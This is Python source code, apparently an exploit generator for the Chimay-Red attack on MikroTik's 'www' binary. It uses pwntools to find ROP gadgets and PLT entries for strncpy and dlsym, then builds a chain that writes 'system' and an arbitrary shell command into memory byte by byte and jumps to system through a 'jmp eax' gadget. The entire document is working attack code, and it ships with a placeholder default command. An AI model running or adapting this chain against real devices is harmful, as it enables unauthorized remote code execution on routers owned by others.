def loadOffsets(binary, shellCmd):
elf = ELF(binary)
rop = ROP(elf)
# www PLT symbols
plt["strncpy"] = elf.plt['strncpy']
plt["dlsym"] = elf.plt['dlsym']
# Gadgets to clean the stack from arguments
gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
gadgets['p'] = rop.search(regs=["ebp"]).address
# Gadget to jump on the result of dlsym (address of system)
gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")
system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))
# get the address of the first writable segment to store strings
writable_address = elf.writable_segments[0].header.p_paddr
strings['system'] = writable_address
strings['cmd'] = writable_address + 0xf
class MikroROP(object):
"""
MikroROP class
"""
def __init__(self, binary: ELF, command=None):
default_command = "/bin/touch /tmp/foobar-" + "".join(
random.sample(string.ascii_letters, 5))
self._chain = None
self._offsets = None
self._command = command or default_command
with context.local():
context.log_level = "WARNING" # Suppress ELF metadata print from pwntools
if isinstance(binary, str):
if os.path.isfile(binary):
self.binary = binary = ELF(binary)
if not isinstance(binary, ELF):
self.binary = binary = ELF.from_bytes(b"\x90" * 262144,
vma=0x8048000)
self.rop = ROP([binary])
else:
self.binary = binary
context.binary = self.binary.path
self.rop = ROP([binary])
context.arch = _bfdarch_patch()
self.context = context
self.build_offsets()
def get_pthread_stacksize(self, lookahead=100) -> hex:
"""
:param lookahead:
:return:
"""
thread_size = None
address = self.binary.symbols[b"main"]
disasm = self.binary.disasm(address, lookahead).split("\n")
for num, line in zip(range(len(disasm)), disasm):
if re.search(r"(e8 .* ff ff)", line):
thread_attr = disasm[num - 2]
if "push" in thread_attr:
thread_size = thread_attr.partition("push")[-1].strip()
break
if not thread_size:
return False
return thread_size
# TODO: Update mmips symbol fetching
def get_plt_symbols(self, architecture: str) -> dict:
plt_symbols = dict()
try:
if architecture is "x86" or "mips":
for sym_name in (b"strncpy", b"dlsym"):
plt_symbols[sym_name.decode()] = self.binary.plt[sym_name]
except KeyError:
log.critical(
"Unkown error occured during fetching of symbols for " +
architecture)
raise
return plt_symbols
def generate_executable_segments(self) -> list:
"""
:return:
"""
executable_segments = list()
for segment in self.binary.executable_segments:
low = segment.header.p_vaddr
high = segment.header.p_memsz + low
if low or high: # if not ZERO
executable_segments.append((low, high))
if not executable_segments:
raise RuntimeError(
"Could not locate any executable segments in binary")
return executable_segments
def generate_writeable_segments(self) -> list:
"""
:return:
"""
writeable_segments = list()
for segment in self.binary.writable_segments:
low = segment.header.p_vaddr
high = segment.header.p_memsz + low
if low or high: # if not ZERO
writeable_segments.append((low, high))
if not writeable_segments:
raise RuntimeError(
"Could not locate any writeable segments in binary")
return writeable_segments
def generate_jmp_eax_gadget(self) -> int:
"""
:return:
"""
jmp_eax_re = re.compile(r"(.*jmp *eax)")
for rx_segment_low, rx_segment_high in self.generate_executable_segments(
):
for line in self.binary.disasm(rx_segment_low,
rx_segment_high).split("\n"):
if jmp_eax_re.search(line):
return int(str(line.split(":")[0].strip()), 16)
def generate_stackpivots(self, architecture):
"""
:param architecture:
:return
"""
# TODO
arch_pivots = {
"x86": {
"pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
"pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
"pivot1ret": self.rop.search(regs=["ebp"])
},
# "mips": {
# "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
# "pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
# "pivot1ret": self.rop.search(regs=["ebp"])
# },
# "arm": {
# "pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
# "pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
# "pivot1ret": self.rop.search(regs=["ebp"])
# }
}
stackpivots = arch_pivots.get(architecture)
if not stackpivots:
return False
return stackpivots
def generate_string_chunks(self, query: str):
"""
:param query:
:return:
"""
return [[
address for address in char
][0] for char in [self.binary.search(char) for char in query + "\x00"]]
def generate_ascii_chunks(self):
"""
:return:
"""
ascii_chunks = dict()
for char in string.printable + "\x00":
ascii_chunks[char] = [
address for address in self.binary.search(char)
][0] or None
return ascii_chunks
def build_offsets(self):
"""
:return:
"""
offsets = {
"size": self.binary.data.__len__(),
"base": self.binary.address,
"thread_size": self.get_pthread_stacksize(),
"segments": {
"executable_segments": self.generate_executable_segments(),
"writeable_segments": self.generate_writeable_segments()
},
"strings": {
"ascii_chunks":
self.generate_ascii_chunks(),
"system":
self.generate_writeable_segments()[1][0],
"cmd": (self.generate_writeable_segments()[1][0] +
(self.binary.bits >> 1)),
},
"gadgets": {
"jmp_eax": self.generate_jmp_eax_gadget(),
"pivot3ret": self.rop.search(regs=["esi", "edi", "ebp"]),
"pivot2ret": self.rop.search(regs=["ebx", "ebp"]),
"pivot1ret": self.rop.search(regs=["ebp"]),
},
"plt": {
"strncpy": self.get_plt_symbols(self.binary.arch)["strncpy"],
"dlsym": self.get_plt_symbols(self.binary.arch)["dlsym"]
}
}
self._offsets = namedtuple("offsets", sorted(offsets))(**offsets)
return True
def build_ropchain(self, offsets=None):
"""
Command Eg. "ls -la"
system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
("s", "y", "s", "t", "e", "m", "\x00")
cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
("l", "s", " ", "-", "l", "a", "\x00")
Psuedocode:
-----------------------------
char_size = 1
char_pointer = 0
for address in cmd_chunks:
rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size))
char_pointer += 1
|<<<< rop.call(<dlsym>, args=(0, "system"))
|
| eax = resultant pointer of dlsym()
|
|>>>> rop.call(<jmp eax>, args=(<command>))
-----------------------------
"""
char_size = 1
cmd_chunks = list()
system_chunks = list()
if offsets:
self._offsets = offsets
for gadget_name, gadget in self.offsets.gadgets.items():
if "pivot" in gadget_name:
self.binary.asm(gadget.address, "; ".join(gadget.insns))
self.binary.save("/tmp/chimay_red.elf")
with context.local():
context.log_level = "WARNING" # Suppress ELF metadata print from pwntools
self.rop = ROP([ELF("/tmp/chimay_red.elf")])
ascii_chunks = self.offsets.strings.get("ascii_chunks")
if not ascii_chunks:
log.critical("Offsets are currently not built!")
for char in "system" + "\x00":
if ascii_chunks.get(char):
system_chunks.append(ascii_chunks[char])
else:
log.critical(
"Unable to locate enough readable characters in the binary to craft system chunks"
)
for char in self.command + "\x00":
if ascii_chunks.get(char):
cmd_chunks.append(ascii_chunks[char])
else:
log.critical(
"Unable to locate enough readable characters in the binary to craft desired command"
)
for length, address in zip(range(len(system_chunks)), system_chunks):
self.rop.call(self.offsets.plt.get("strncpy"), [
self.offsets.strings.get("system") + length, address, char_size
])
# print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))
for length, address in zip(range(len(cmd_chunks)), cmd_chunks):
self.rop.call(
self.offsets.plt.get("strncpy"),
[self.offsets.strings.get("cmd") + length, address, char_size])
# print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain()))
self.rop.call(self.offsets.plt.get("dlsym"),
[0, self.offsets.strings.get("system")])
# print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))
self.rop.call(self.offsets.gadgets.get("jmp_eax"),
[self.offsets.strings.get("cmd")])
# print("EXPLOIT 4: ", hexlify(self.rop.chain()))
self._chain = self.rop.chain()
@property
def command(self):
""" The command property """
return self._command
@command.setter
def command(self, value):
self._command = value
@property
def offsets(self):
""" The offsets property """
return self._offsets
@offsets.setter
def offsets(self, value):
self._offsets = value
@property
def chain(self):
""" The ropchain property """
return self._chain
@chain.setter
def chain(self, value):
self._chain = value